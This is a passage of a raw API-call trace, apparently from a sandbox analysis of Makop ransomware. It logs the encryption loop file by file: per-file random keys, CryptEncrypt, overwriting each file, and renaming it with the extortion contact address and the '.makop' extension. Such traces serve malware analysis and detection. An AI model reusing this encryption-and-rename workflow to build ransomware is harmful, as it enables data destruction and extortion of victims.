lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.355] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.355] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.355] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.356] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa202, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa202, lpOverlapped=0x0) returned 1 [0145.359] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa210, dwBufLen=0xa210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa210) returned 1 [0145.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa210, lpOverlapped=0x0) returned 1 [0145.360] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.360] SetEndOfFile (hFile=0xf0) returned 1 [0145.368] GetProcessHeap () returned 0x48a0000 [0145.368] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.368] GetProcessHeap () returned 0x48a0000 [0145.368] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.368] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.371] CloseHandle (hObject=0xf0) returned 1 [0145.371] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0145.371] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG") returned 63 [0145.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.373] GetProcessHeap () returned 0x48a0000 [0145.373] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.373] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.373] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0145.379] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.379] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.379] GetProcessHeap () returned 0x48a0000 [0145.379] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.379] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.379] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.379] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.379] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.379] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.380] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.380] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.380] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18be, lpOverlapped=0x0) returned 1 [0145.382] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18c0) returned 1 [0145.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.383] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18c0, lpOverlapped=0x0) returned 1 [0145.383] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.383] SetEndOfFile (hFile=0xf0) returned 1 [0145.391] GetProcessHeap () returned 0x48a0000 [0145.391] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.391] GetProcessHeap () returned 0x48a0000 [0145.391] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.391] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.395] CloseHandle (hObject=0xf0) returned 1 [0145.395] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0145.395] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 63 [0145.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.396] GetProcessHeap () returned 0x48a0000 [0145.396] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.396] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.397] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0145.401] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.401] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.401] GetProcessHeap () returned 0x48a0000 [0145.401] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.401] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.401] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.401] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.402] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.402] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.402] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.402] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.403] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.403] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.403] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c94, lpOverlapped=0x0) returned 1 [0145.405] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ca0) returned 1 [0145.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ca0, lpOverlapped=0x0) returned 1 [0145.406] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.406] SetEndOfFile (hFile=0xf0) returned 1 [0145.412] GetProcessHeap () returned 0x48a0000 [0145.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.412] GetProcessHeap () returned 0x48a0000 [0145.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.413] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.415] CloseHandle (hObject=0xf0) returned 1 [0145.415] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0145.415] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP") returned 63 [0145.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.416] GetProcessHeap () returned 0x48a0000 [0145.416] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.416] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.417] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.421] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.421] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.421] GetProcessHeap () returned 0x48a0000 [0145.421] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.421] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.421] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.422] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.422] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.422] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.423] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.423] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0145.425] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0145.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0145.426] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.426] SetEndOfFile (hFile=0xf0) returned 1 [0145.433] GetProcessHeap () returned 0x48a0000 [0145.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.433] GetProcessHeap () returned 0x48a0000 [0145.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.433] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.440] CloseHandle (hObject=0xf0) returned 1 [0145.440] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0145.440] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP") returned 63 [0145.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.441] GetProcessHeap () returned 0x48a0000 [0145.441] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.442] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.442] GetProcessHeap () returned 0x48a0000 [0145.442] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.442] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.443] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, 